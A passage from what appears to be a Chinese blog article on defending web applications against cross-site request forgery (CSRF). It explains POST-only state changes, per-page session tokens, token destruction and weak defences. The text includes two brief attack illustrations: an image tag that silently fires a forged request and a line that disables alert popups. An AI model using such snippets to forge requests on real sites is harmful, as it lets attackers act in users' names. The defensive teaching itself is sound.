比較頭痛的是，因為請求可以從任何一方發起，而發起請求的方式多種多樣，可以通過 iframe、ajax（這個不能跨域，得先 XSS）、Flash 內部發起請求（總是個大隱患）。由於幾乎沒有徹底杜絕 CSRF 的方式，我們一般的做法，是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻，就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作，應該只接受 POST 請求，而 GET 請求應該只瀏覽而不改變伺服器端資源。當然，最理想的做法是使用 REST 風格 的 API 設計，GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法，我們可以使用 ajax 提交請求（例如通過 jquery-form 插件，我最喜歡的做法），也可以使用隱藏域指定請求方法，然後用 POST 模擬 PUT 和 DELETE （Ruby on Rails 的做法）。這么一來，不同的資源操作區分的非常清楚，我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了，但他們仍可以發布表單，或者在其他站點上使用我們肉眼不可見的表單，在後台用 js 操作，偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF，這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生，「請求令牌」和「同步令牌」原理是一樣的，只不過目的不同，後者是為了解決 POST 請求重復提交問題，前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單，首先伺服器端要以某種策略生成隨機字元串，作為令牌（token）， 保存在 Session 里。然後在發出請求的頁面，把該令牌以隱藏域一類的形式，與其他信息一並發出。在接收請求的頁面，把接收到的信息中的令牌與 Session 中的令牌比較，只有一致的時候才處理請求，否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單，但並非不可破解，使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意：
雖然請求令牌原理和驗證碼有相似之處，但不應該像驗證碼一樣，全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的，破解方式是解析來源頁面的文本，獲取令牌內容。如果全局使用一個 Session Key，那麼危險系數會上升。原則上來說，每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候，可以稍加封裝，編寫一個令牌工具包，將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合，因為很有請求是 JavaScript 發起的，使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何，請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門，卻又把鑰匙放在門口，讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的，所以非常重要的場合，應該考慮使用驗證碼（令牌的一種升級，目前來看破解難度極大），或者要求用戶再次輸入密碼（亞馬遜、淘寶的做法）。但這兩種方式用戶體驗都不好，所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼，伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題，驗證碼用完並未銷毀，故只要獲取一次驗證碼圖片，其中的驗證碼可以在多次請求中使用（只要不再次刷新驗證碼圖片），一直用到 Session 超時。這也是為何選課系統加了驗證碼，外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF，其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面：referer 是在 HTTP Request Head 裡面的，也就是由請求的發送者決定的。如果我喜歡，可以給 referer 任何值。當然這個做法並不是毫無作用，起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接：這個是最無效的做法，因為首先攻擊者不一定要從站內發起請求（上面提到過了），而且就算從站內發起請求，途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇，還不需要用戶去點擊，只要用戶的瀏覽器會自動載入圖片，就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶：這個方法看上去能幹擾站外通過 iframe 發起的 CSRF，但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞，或者乾脆脫離 iframe，使用 Flash 來達到目的。
總體來說，目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章，一般都會含有「無恥」二字來形容（另一位有該名號的貌似是 DDOS 攻擊）。作為開發者，我們能做的就是盡量提高破解難度。當破解難度達到一定程度，網站就逼近於絕對安全的位置了（雖然不能到達）。上述請求令牌方法，就我 認為是最有可擴展性的，因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說，偽造的請求和正常的請求本質上是一致的。而請求令牌的方法，則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作，例如讓頁面中 token 的 key 動態化，進一步提高攻擊者的門檻。本文只是我個人認識的一個總結，便不討論過深了。